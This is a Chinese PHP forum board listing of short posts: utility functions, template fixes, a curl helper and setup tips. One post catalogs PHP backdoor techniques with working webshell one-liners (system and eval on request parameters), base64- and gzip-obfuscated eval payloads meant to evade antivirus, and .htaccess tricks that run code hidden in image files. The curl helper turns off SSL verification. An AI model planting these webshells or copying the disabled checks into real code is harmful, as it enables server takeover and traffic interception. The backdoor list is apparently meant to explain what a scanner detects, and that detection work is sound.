image

PHP学习相关文章

今日:0  |  文章:20
用PHP做出的动态页面与其他的编程语言相比,PHP是将程序嵌入到HTML(标准通用标记语言下的一个应用)文档中去执行,执行效率比完全生成HTML标记的CGI要高许多;PHP还可以执行编译后代码,编译可以达到加密和优化代码运行,使代码运行更快。
puyuetian
294
 0
若可疑文件在./install/目录下,请删除该目录后重新扫描。php后门木马常用的函数大致上可分为四种类型:  1. 执行系统命令: system, passthru, shell_exec, exec, popen, proc_open  2. 代码执行与加密: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13  3. 文件包含与生成: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite  4. .htaccess: SetHandler, auto_prepend_file, auto_append_file  1. 执行系统命令:  system 函数  //test.php?cmd=ls  system($_GET[cmd]);  passthru 函数  //test.php?cmd=ls  passthru($_GET[cmd]);  shell_exec 函数  //test.php?cmd=ls  echo shell_exec($_GET[cmd]);  exec 函数  //test.php?cmd=ls  $arr = array();  exec($_GET[cmd],$arr);  print_r($arr);  popen 函数  //test.php?cmd=ls  $handle = popen('$_GET[cmd], 'r');  $read = fread($handle, 2096);  echo $read;  pclose($handle);  proc_open 函数  //test.php?cmd=ls  $descriptorspec = array(  0 => array('pipe', 'r'),  1 => array('pipe', 'w'),  2 => array('pipe', 'w'),  );  $proc = @proc_open($_GET[cmd], $descriptorspec, $pipes);  fclose($pipes[0]);  $output = array();  while (!feof($pipes[1])) array_push($output, rtrim(fgets($pipes[1],1024),"\n"));  print_r($output);  2. 代码执行与加密:  eval 函数  //最常见的一句话木马  eval($_POST[cmd]);  base64_decode 函数  //为了免杀及隐藏而加密代码  //密文: eval($_POST['cmd']);  eval(base64_decode('ZXZhbCgkX1BPU1RbJ2NtZCddKTs='));  gzinflate 函数  //为了免杀及隐藏而加密代码  //密文: eval($_POST['cmd']);  eval(gzinflate(base64_decode('Sy1LzNFQiQ/wDw6JVk/OTVGP1bQGAA==')));  gzuncompress 函数  //为了免杀及隐藏而加密代码  //密文: eval($_POST['cmd']);  eval(gzuncompress(base64_decode('eJxLLUvM0VCJD/APDolWT85NUY/VtAYARQUGOA==')));  gzdecode 函数  //为了免杀及隐藏而加密代码  //密文: eval($_POST['cmd']);  eval(gzdecode(base64_decode('H4sIAAAAAAAAA0stS8zRUIkP8A8OiVZPzk1Rj9W0BgA5YQfAFAAAAA==')));  str_rot13 函数  //为了免杀及隐藏而加密代码  //密文: eval($_POST[cmd]);  eval(str_rot13('riny($_CBFG[pzq]);'));  assert 函数  //类似eval函数  assert($_POST[cmd]);  call_user_func 函数  //使用call_user_func调用assert  call_user_func('assert',$_POST[cmd]);  call_user_func 函数  //使用call_user_func调用任意函数  //test.php?a=assert&cmd=phpinfo()  call_user_func($_GET[a],$_REQUEST[cmd]);  组合代码  //组合方式调用任意函数  //test.php?a=assert&cmd=phpinfo()  $_GET[a]($_REQUEST[cmd]);  3. 文件包含与生成:  require 函数  //包含任意文件  //test.php?file=123.jpg  require($_GET[file]);  require_once 函数  //包含任意文件  //test.php?file=123.jpg  require_once($_GET[file]);  include 函数  //包含任意文件 www.jb51.net  //test.php?file=123.jpg  include($_GET[file]);  include_once 函数  //包含任意文件  //test.php?file=123.jpg  include_once($_GET[file]);  file_get_contents 函数  //读取任意文件  //test.php?f=config.inc.php  echo file_get_contents($_GET['f']);  file_put_contents 函数  //生成任意内容文件  //a=test.php&b=  file_put_contents($_GET[a],$_GET[b]);  fputs 函数  //生成任意内容文件  //a=test.php&b=  fputs(fopen($_GET[a],"w"),$_GET[b]);  4. .htaccess:  SetHandler  //可将php代码存于非php后缀文件,例: x.jpg  //将以下代码写入.htaccess中  //连接x.jpg即可启动后门木马出处www.admin8.us    SetHandler application/x-httpd-php    auto_prepend_file  //可将php代码存于非php后缀文件,例: 123.gif  //将以下代码写入.htaccess中, 文件路径必须是绝对路径  //访问网站上任何php文件都会启动该php后门木马  //可在不更改站点源代码的情况下记录所有$_REQUEST的值,也可批量挂马  php_value auto_prepend_file c:/apache2/htdocs/123.gif  auto_append_file  //类似auto_prepend_file  //可将php代码存于非php后缀文件,例: 123.gif  //将以下代码写入.htaccess中, 文件路径必须是绝对路径  //访问网站上任何php文件都会启动该php后门木马  php_value auto_append_file c:/apache2/htdocs/123.gif
4   2018-08-28 13:34:21
王俊凯
1221
如题复制以下的代码<?php if (!defined('puyuetian')) exit('403'); global $forumdata; if ($forumdata['url']) { $_G['TEMP']['TARGET'] = '_blank'; $_G['TEMP']['FORUMURL'] = $forumdata['url']; } else { $_G['TEMP']['TARGET'] = ''; $_G['TEMP']['FORUMURL'] = ReWriteURL('list', "sortid={$forumdata['id']}&page=1"); } if ($_G['TABLE']['READSORT'] -> getId(array('pid' => $forumdata['id'], 'show' => 1))) { $_G['TEMP']['ZBKHTML'] = '<a class="layui-btn layui-btn-primary" href="' . ReWriteURL('forum', "id={$forumdata['id']}") . '">子版块</a>'; } else { $_G['TEMP']['ZBKHTML'] = ''; } 找到template/puyuetian_fly/phpscript/forum-2.php文件,清除forum-2.php所有代码,复制以上的代码即可解决
1   2018-05-26 09:07:07
lihaoxi001
1117
下载过来蓝色悦动的都知道,蓝色悦动不兼容,楼中楼。于是我查看了蓝色悦动的代码。发现蓝色的移动的评论列表是一个单独的。于是我尝试着修改,终于修改成功了。下面放出兼容楼中楼的办法:首先打开蓝色悦动的评论列表文件:/template/puyuetian_bluemobile/read-2.hst然后把文件里面的内容修改为:<div class="aui-card-list aui-border-b aui-margin-b-0"> <div class="userinfo-header" style="padding:0 10px;"> <div class="aui-info"> <div class="aui-info-item"> <img src="userhead/{$replydata['uid']}.png" onerror="this.src='userhead/0.png'" style="width:2.2rem" onclick="location.href='{ReWriteURL('user','id={$replydata['uid']}&page=1')}'"> <span class="aui-margin-l-10 aui-margin-r-10">{$replyuserdata['nickname']} | {$lgtime}</span> </div> <div class="aui-info-item">{$replydata['fnum']}楼</div> </div> </div> <div data-id="{$replydata['id']}" class="replycontent pk-word-break-all pk-text-xs pk-img-width-max-all" style="color: #666"> {$replydata['content']} </div> <div class="aui-font-size-12 aui-text-right" style="padding:0 10px 5px 10px;"> {$replyuserhtml}{$_G['TEMP']['READADMINLINK']} <a class="aui-iconfont aui-font-size-12 aui-icon-note" href="#postreplyposition" onclick="ReplyNF('{$replyuserdata['id']}','{$replydata['fnum']}','{str_replace('\'', '‘', $replyuserdata['nickname'])}')">回复Ta</a> </div> </div> 然后就可以奔放了测试的截图:
7   2018-04-29 09:07:12
lihaoxi001
1001
说明:就像在百度贴吧发的网址自动变蓝一样,自动识别网址并变蓝。使用方法:先下载文件,然后打开文件,复制里面所有的文本然后在站长中心-其他功能-云服务加载完成后执行的JS里面粘贴然后就可以奔放了。文件十天豆也不贵。代码保证好用。
2   2018-04-01 08:57:20
zas
1225
zas
 1
querylist完成的采集插件基本完成。php5.3以上,新建了个数据表。只是对文字采集,采集规则就很简单;如果有附件下载,什么图片等采集规则就教复杂。规则都按jquery选择器写法其实也简单,现在没有多线程,最多完成800个list链接和内容分页20个链接,我一次性采集1800个内容页.
2   2017-12-31 14:51:02
csbbs
1743
 1
这个问题来自知乎网友。题主还补充说:包括并不限于如下领域:开发工具,IDE,不限平台,编程字体笔记本,显示器,键盘,鼠标座椅,辅助支架,背包辅助按摩类器材,针对颈椎,手腕等知友补充,女盆友,确实是不可或缺(大家喜欢神马款,个人喜欢萌妹纸,来share一下趋向吧)其他你认为有助于猿类们工作的东东曾经有很长的一段时间一直在学习和探索提升工作效率&身心健康的方法。讲讲我个人的经历吧!工作效率:加速度(一个电脑的有用程度和它里面装的软件数成反比)给电脑换上SSD吧,你再也不用为了打开Photoshop而等待一分钟了,只需3秒!给电脑加条内存吧,开虚拟机再也不用等待菊花了IDE上哪些从来都不用的Plugin给Remove掉吧Chrome上打开chrome://memory-redirect/你会惊奇的发现一个再简单不过的Extension也得占用几十M内存,长时间不用的扩展还是删掉吧开机启动项赶紧T掉(Mac用户不在此列,我们都是几个月不关机的)舒适的网络环境绝对是非常重要的,还在用小水管,赶紧去换成10M光纤吧,体验下网上冲浪的感觉!国内环境还不赶紧上VPN,一年才100多快换来的是网络自由,这你都舍不得?多显示器绝壁是攻城师的不二利器啊!左边敲代码,右边预览、左边敲代码,右边LOG、左边敲代码,右边看电视实在只有一个显示器也行啊,多建几个虚拟桌面切换定制好的你的桌面图标(Mac Dock图标),把常用的提上去使用Quicksilver、Alfred之类的软件能有效的提高操作效率键盘的速度绝对比鼠标快,所以还是多记一记快捷键吧。Chrome下的Vimium和Firefox下面的Vimperator上手后对比下用数据操作的时间你会合不拢嘴的
12   2017-06-08 18:54:55
csbbs
1749
 1
通过在线实例学习 PHP我们的 “运行实例” 工具降低了 PHP 的学习难度,它可以同时显示出 PHP 源代码以及代码的 HTML 输出。实例<!DOCTYPE html> <html> <body> <?php echo "我的第一段 PHP 脚本!"; ?> </body> </html>超时,系统自动处理
10   2017-06-08 18:49:50
puyuetian
9999+
 165
今天撸码用到了Curl的post和get请求并需要绕过SSL验证,现将代码打包以备后用:function request_by_curl($url, $post_data = '', $timeout = 30) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); //post提交,否则get if ($post_data != '') { curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data); } curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout); curl_setopt($ch, CURLOPT_HEADER, false); //跳过SSL验证 curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, '0'); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, '0'); $file_contents = curl_exec($ch); curl_close($ch); return $file_contents; }用法举例://$result存储返回的数据 //post $result = request_by_curl('http://www.hadsky.com', 'username=hadsky&password=hadsky.com'); //get $result = request_by_curl('http://www.hadsky.com');
12   2016-10-05 21:38:14
bddsky
2222
 7
<p style="text-align: center;"><font face="kaiti"><u><i><b><font size="100000000" style="color: rgb(69, 143, 206);"><p style="font-size=&quot;200&quot;">hadsky我支持你啊啊啊啊啊啊啊啊啊hadsky我支持你啊啊啊啊啊啊啊啊啊hadsky我支持你啊啊啊啊啊啊啊啊啊hadsky我支持你啊啊啊啊啊啊啊啊啊hadsky我支持你啊啊啊啊啊啊啊啊啊hadsky我支持你啊啊啊啊啊啊啊啊啊hadsky我支持你啊啊啊啊啊啊啊啊啊hadsky我支持你啊啊啊啊啊啊啊啊啊hadsky我支持你啊啊啊啊啊啊啊啊啊hadsky我支持你啊啊啊啊啊啊啊啊啊hadsky我支持你啊啊啊啊啊啊啊啊啊hadsky我支持你啊啊啊啊啊啊啊啊啊hadsky我支持你啊啊啊啊啊啊啊啊啊hadsky我支持你啊啊啊啊啊啊啊啊啊hadsky我支持你啊啊啊啊啊啊啊啊啊hadsky我支持你啊啊啊啊啊啊啊啊啊hadsky我支持你啊啊啊啊啊啊啊啊啊hadsky我支持你啊啊啊啊啊啊啊啊啊hadsky我支持你啊啊啊啊啊啊啊啊啊hadsky我支持你啊啊啊啊啊啊啊啊啊hadsky我支持你啊啊啊啊啊啊啊啊啊hadsky我支持你啊啊啊啊啊啊啊啊啊hadsky我支持你啊啊啊啊啊啊啊啊啊hadsky我支持你啊啊啊啊啊啊啊啊啊hadsky我支持你啊啊啊啊啊啊啊啊啊hadsky我支持你啊啊啊啊啊啊啊啊啊hadsky我支持你啊啊啊啊啊啊啊啊啊hadsky我支持你啊啊啊啊啊啊啊啊啊hadsky我支持你啊啊啊啊啊啊啊啊啊hadsky我支持你啊啊啊啊啊啊啊啊啊hadsky我支持你啊啊啊啊啊啊啊啊啊hadsky我支持你啊啊啊啊啊啊啊啊啊hadsky我支持你啊啊啊啊啊啊啊啊啊hadsky我支持你啊啊啊啊啊啊啊啊啊hadsky我支持你啊啊啊啊啊啊啊啊啊hadsky我支持你啊啊啊啊啊啊啊啊啊hadsky我支持你啊啊啊啊啊啊啊啊啊hadsky我支持你啊啊啊啊啊啊啊啊啊hadsky我支持你啊啊啊啊啊啊啊啊啊hadsky我支持你啊啊啊啊啊啊啊啊啊hadsky我支持你啊啊啊啊啊啊啊啊啊hadsky我支持你啊啊啊啊啊啊啊啊啊hadsky我支持你啊啊啊啊啊啊啊啊啊hadsky我支持你啊啊啊</p></font><span style="color: rgb(69, 143, 206); font-size: 17.6px; white-space: pre;">&lt;span style="font-size:200"&gt;hadsky我支持你啊啊啊啊啊啊啊啊啊hadsky我支持你啊啊啊啊啊啊啊啊啊hadsky我支持你啊啊啊啊啊啊啊啊啊hadsky我支持你啊啊啊啊啊啊啊啊啊hadsky我支持你啊啊啊啊啊啊啊啊啊hadsky我支持你啊啊啊啊啊啊啊啊啊hadsky我支持你啊啊啊啊啊啊啊啊啊hadsky我支持你啊啊啊啊啊啊啊啊啊hadsky我支持你啊啊啊啊啊啊啊啊啊hadsky我支持你啊啊啊啊啊啊啊啊啊hadsky我支持你啊啊啊啊啊啊啊啊啊hadsky我支持你啊啊啊啊啊啊啊啊啊&lt;/span&gt;</span></b></i></u></font></p><font color="#458fce" style="background-color: rgb(18, 183, 245);" face="kaiti"><u><i><b><p style="text-align: center;"><br></p><font size="100"><p style="text-align: center;">啊啊啊啊啊啊hadsky我支持你啊啊啊啊啊啊啊啊啊hadsky我支持你啊啊啊啊啊啊啊啊啊</p></font></b></i></u></font>
10   2016-09-03 18:11:16
liaoyongchao
3580
侧边栏安装提供代码:<!-- JiaThis Button BEGIN --> <script type="text/javascript" src="http://v3.jiathis.com/code/jiathis_r.js" charset="utf-8"></script> <!-- JiaThis Button END -->文章页分享代码网站目录下的:/htdocs/template/default/read-1.htm找到图中100行的地方添加自己喜欢的分享代码
6   2016-07-27 14:32:34
yuetian
3633
 0
用PHP实现文件名批量重命名,在做表情应用的时候遇到,表情图片需要重新命名,所以写了一下,记录一下以备后用。$path = 'H:/wwwroot/hadsky3/app/puyuetian_emotions/template/img/smiles/'; //这是文件所在的文件夹路径,根据个人情况更改 $files = scandir($path); $i = 0; //初始化重命名名称变量,从1开始直至结束,注意后缀要自己加,或者自己提取 foreach ($files as $file) { if (filetype($path . $file) == 'file') { $i++; rename($path . $file, $path . $i . '.gif'); //php重命名函数 } }
5   2016-07-18 17:04:12
bddsky
3521
 10
在哪里学习的php? 方便分享一下吗
17   2016-05-07 09:25:33
puyuetian
9999+
 3
相关安卓软件:AndroPHP、PHP Editor PHP版本:5.4.8        MySQL版本:5.1.62        用户root,密码为空        phpmyadmin版本:3.5.3 下载并安装这两个软件,打开AndroPHP,该软件自带phpmyadmin,界面如下: 点击setting进行基本设置后,打开PHP Editor,在你搭建的网站根目录下新建一个index.php文件,输入: <?php phpinfo(); ?> 访问界面如下: mysql初始用户为root,密码为空,phpmyadmin访问界面如下: 心动了么?去装一个试试吧
12   2016-03-24 09:19:42
puyuetian
5112
 0
function getNianLing($datetime) { return (date('Y', time()) - date('Y', $datetime)); } 用法: echo getNianLing(strtotime('2008-08-08'));
7   2016-03-21 10:30:16
puyuetian
6013
 0
function getXingZuo($datetime) { $date = (int)date('nd', $datetime); if ($date) { switch ($date) { case (120<=$date&&218>=$date) : $xz = "水瓶"; break; case (219<=$date&&320>=$date) : $xz = "双鱼"; break; case (321<=$date&&419>=$date) : $xz = "白羊"; break; case (420<=$date&&520>=$date) : $xz = "金牛"; break; case (521<=$date&&621>=$date) : $xz = "双子"; break; case (622<=$date&&722>=$date) : $xz = "巨蟹"; break; case (723<=$date&&822>=$date) : $xz = "狮子"; break; case (823<=$date&&922>=$date) : $xz = "处女"; break; case (923<=$date&&1023>=$date) : $xz = "天秤"; break; case (1024<=$date&&1121>=$date) : $xz = "天蝎"; break; case (1122<=$date&&1221>=$date) : $xz = "射手"; break; default : $xz = "摩羯"; break; } return $xz; } else { return FALSE; } } 用法: echo getXingZuo(time());
6   2016-03-21 10:24:08
yuetian
4499
 0
function getShuXiang($datetime) { $year = date('Y', $datetime); if ($year) { //1900年是鼠年 $data = array('鼠', '牛', '虎', '兔', '龙', '蛇', '马', '羊', '猴', '鸡', '狗', '猪'); $index = ($year - 1900) % 12; return $data[$index]; } else { return FALSE; }}用法:echo getShuXiang(time());
2   2016-03-21 10:18:22
puyuetian
4609
 0
strtr — 转换指定字符(PHP 4, PHP 5, PHP 7) 说明: string strtr ( string $str , string $from , string $to ) string strtr ( string $str , array $replace_pairs ) 该函数返回 str 的一个副本,并将在 from 中指定的字符转换为 to 中相应的字符。 比如, $from[$n]中每次的出现都会被替换为 $to[$n],其中 $n 是两个参数都有效的位移(offset)。 如果 from 与 to 长度不相等,那么多余的字符部分将被忽略。 str 的长度将会和返回的值一样。 参数: str 待转换的字符串。 from 字符串中与将要被转换的目的字符 to 相对应的源字符。 to 字符串中与将要被转换的字符 from 相对应的目的字符。 replace_pairs 参数 replace_pairs 可以用来取代 to 和 from 参数,因为它是以 array('from' => 'to', ...) 格式出现的数组。 返回值: 返回转换后的字符串。 如果 replace_pairs 中包含一个空字符串("")键,那么将返回 FALSE。 举例: Example #1 strtr() 范例 <?php $addr = strtr($addr, "hadsky", "abcdef"); ?> Example #2 使用两个参数的 strtr() 范例 <?php $trans = array("hello" => "hi", "hi" => "hello"); echo strtr("hi all, I said hello", $trans); ?> 以上例程会输出: hello all, I said hi Example #3 strtr() 作用比较 <?php echo strtr("baab", "ab", "01"),"\n"; $trans = array("ab" => "01"); echo strtr("baab", $trans); ?> 以上例程会输出: 1001 ba01 站长解析: strtr使用string strtr ( string $str , string $from , string $to )格式时from和to参数长度应尽量保证一样; string strtr ( string $str , array $replace_pairs )格式类似str_replace函数。
2   2016-03-21 08:31:47
暂无用户组
0级
游客:

公告

近期本站被人为恶意注册及发布垃圾帖,本站已开启普通用户发帖审核功能,VIP系列用户组及开发者用户组不受影响,一但发现发布违法或垃圾帖的用户,该用户账号将会被永久封号,请大家共同维护互联网环境,共创美好互联网未来。

最新活动

3年个人版授权+2400天豆仅需154元

8年个人版授权+6400天豆仅需385元

终身个人版授权+5600天豆仅需539元

3年尊享版授权+24000天豆仅需1540元

8年尊享版授权+64000天豆仅需3850元

终身尊享版授权+56000天豆仅需5390元

HadSky 官方微信号
服务号 HadSky微信服务号 技术/文档/精帖
订阅号 HadSky微信订阅号 公告/更新/活动
关注送福利,登录送天豆
版块列表
image

Powered by HadSky 6.3.1

©2015 - 2018 HadSky

购买产品 官方Q群 用户文档 授权查询 网站绑定 关注公众号 陕ICP备13005805号

您的IP:54.198.52.82,2018-09-22 15:07:42,Processed in 0.08626 second(s).

支持原创软件,抵制盗版,共创美好明天!